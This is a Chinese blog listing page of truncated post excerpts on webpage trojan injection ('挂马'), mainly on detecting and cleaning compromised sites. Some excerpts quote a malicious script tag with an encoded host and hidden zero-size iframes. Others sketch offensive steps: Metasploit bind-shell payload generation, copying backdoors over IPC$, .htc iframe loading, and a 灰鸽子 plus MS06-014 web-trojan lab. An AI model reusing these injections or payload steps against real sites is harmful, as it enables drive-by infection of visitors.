挂马方式研究、挂马检测技术研究
原创
2022-12-21 09:00:49
34阅读
1. 总结下来，使用两款工具即可，一种是使用URLSnooper软件，通过此软件可抓取所有Web应用的url地址及其他详细信息，如下图： 2. 获取目标挂马网站的资源，使用工具FlashGet这个工具新版本已经除掉了站点资源探索器的功能，需要使用旧版本，这个目前没找到旧版本，大家了解下就可以 3.
原创
2022-06-21 22:52:27
336阅读
呵呵，安全沙龙成功在翠微大厦后面的好伦哥举行。在会议上见到了很多传说中的大牛，人数暴多，总体感觉还不错，但会议场地选择方面有所欠缺，感觉场地太小，会场纪律欠缺。来听就应该好好听，不要唧唧歪歪的，有问题就提，吵得俺有的地方没有听清楚wiki的演讲。我的ppt附在后面，喜欢的朋友可以下载下来看看。欢迎提出问题与我进行交流。今天会议后另外一个收获，就是以后应当对安全更加细致化研
原创
2009-07-11 22:48:08
1736阅读
3评论
众所周知，目标主机建立IPC$连接后，要把后门，木马之类的软件传过去，这就是DOS基础的命令，是入侵的基?Ｎ艺饫锞托锤龈袷健?一、copy 呵呵，命令一写就知道了吧，在网上看的太多了，其他格式都不用我写了，呵呵。 copy 本地文件 \\目标IP\目标共享文件夹
转载
2010-02-13 02:42:57
198阅读
在百度上搜索 ：
site:tpy888.cn 零点棋牌
出现sitemap/Artlc.php
很是奇怪，文件的属主是www:www
后来我把目录修改成744，index.php为644，再把discuz的
data/avatar目录删除了，竟然问题解决了。
用下面的命令找出来的：
/bbs/data/avatar/0/8/dam.php:
原创
2012-06-04 18:00:16
847阅读
在网络安全领域，Linux系统一直以其稳定性和安全性而备受推崇。然而，即使是这样一个被广大用户认为安全无比的系统，也难免会受到恶意软件的侵袭。其中，一种常见的恶意软件就是“挂马”（Trojan horse）。
“挂马”是指一种假冒正规程序，潜藏在系统中，等待着不法分子的操控，实施各种恶意活动的恶意软件。它通常会伪装成一些看起来无害的程序或文件，诱骗用户点击下载或安装，一旦用户中招，挂马就会开始悄
挂马新手段
2008-08-19 15:41:24
标签：挂马 新手段 [
转载
精选
2008-08-30 04:46:41
354阅读
近段时间，blog经常被<script src=http://%76%63%63%64%2E%63%6E></script>挂上木马。搜集资料，也做过相应css样式来解决，但css不能阻止页面有此木马，只是客户端访问的时候，屏蔽掉或者终止掉，测试后杀毒软件还是会提示网
原创
2009-10-15 10:42:42
539阅读
网页木马定义：
取得控制权的网站--嵌入恶意代码--用户访问（恶意代码利用浏览器，第三方activex或插件（flash，pdf）漏洞）--下载并执行恶意代码。
挂马方式：
&
原创
2010-04-02 14:07:38
868阅读
2评论
半夜一个网站被黑了，然后突然发现在访问服务器所有html页面的时候，自动插入iframe通过以下各项检查，均未能发现问题1、安装了防火墙2、检查了web程序3、检查了当天有没有新建或修改的文件（exe,bat,dll等）4、非本地DNS被ARP准备放弃的时候。查看了下iis的的配置
我们找到这个文件
打开以后果然是挂马的IFRMAE内容
打开IIS，在你的计算机名（根目录）右键选择属性，
原创
2009-10-29 17:34:20
1065阅读
<iframe src="[url]http://www.5study.com/admin-nis/eWebEditor/CSS/index.htm[/url]" name="zhu" width="0" height="0" frameborder="0"></iframe><iframe src="[url]http://www.5study.com/admin-
原创
2007-03-07 22:17:11
1090阅读
今天在检查网站时，通过urlsnoof发现网站有很多链接，通过分析代码发现存在以下内容：
<MARQUEE width=0 height=0><a href="[url]http://www.zondatz.com[/url]">涂装设备</a><a href="[url]http://www.jshxzj.com[/url]">抛丸机</a
原创
2008-08-19 15:41:24
1088阅读
有时候我们需要知道一个网站的安全性，那么您可以像游侠这样在网站底部挂金山和瑞星的云安全检测系统，如下图所示： 需要知道扫描效果的话，看看这两个网址： 金山 瑞星 不过不知道大家看到没，瑞星只说有没有木马，金山的要多一点信息，关于什么时候扫描过，什么时候发现过木马？都没有介绍。 今天有位来自北京知道创宇信息技术有限公司的朋友给游侠（www.youxia.org）写邮件，推荐了他们的在线W
原创
2010-04-11 14:08:33
779阅读
网站被挂马怎么办?网站被挂马怎么解决?服务器被入侵怎么解决，SQL数据库被挂马怎么解决
原创
2012-01-21 18:39:56
577阅读
据瑞星“云安全”系统监测，11日，“彭城视窗”、“鼓楼青年”、“温州信用网”等网站被挂马，用户浏览这些网站后，可能感染：Worm.Win32.Agent.auh（蠕虫），导致用户系统功能严重异常。
转载
2011-10-08 19:56:00
106阅读
2评论
技术讨论，请勿做非法的事。如果你要用我的方法去做，我也没办法，呵呵。关于挂马，基本上是在网页原来的代码里加载一个iframe。关于加载iframe，我以前的文章写过几种，这篇文章里再提两个新方法吧。一、利用htc文件来加载iframe。百度百科里对htc文件的解释为：从5.5版本开始，Internet Explorer（IE）开始支持Web 行为的概念。这些行为是由后缀名为.htc的脚本文件描述的
转载
精选
2012-07-05 12:17:52
185阅读
<%@LANGUAGE="VBScript" CODEPAGE="936"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 TranSitiOnal//EN" "http://www.w3.Org/TR/xhtml1/DTD/xhtml1-tranSitiOnal.dtd"> <html xmlnS="http://w
原创
2009-07-30 15:20:57
441阅读
root@localhost:~# msfconsolmsf > show #寻求帮助msf > use windows/shell/bind_tcp#msf payload(bind_tcp) > set RHOST 192.168.48.100RHOST => 192.168.48.100msf payload(bind_tcp) > generate -tc#
原创
2017-07-04 14:46:34
1734阅读
意思是当你访问该网站的时候，你的计算机就自动中了木马。当然黑客就可以控制你的电脑
步骤：WEB服务器配置1、web服务器IP 192.168.0.12、网卡类型VM2
黑客天下计算机 网卡类型VM21、黑客计算机IP为192.168.0.2 配置灰鸽子服务器端程序，192.168.0.2
2、使用MS06014制作网页木马，输入http://192.168.0.1/qq.exe，
原创
2010-04-09 12:53:01
562阅读
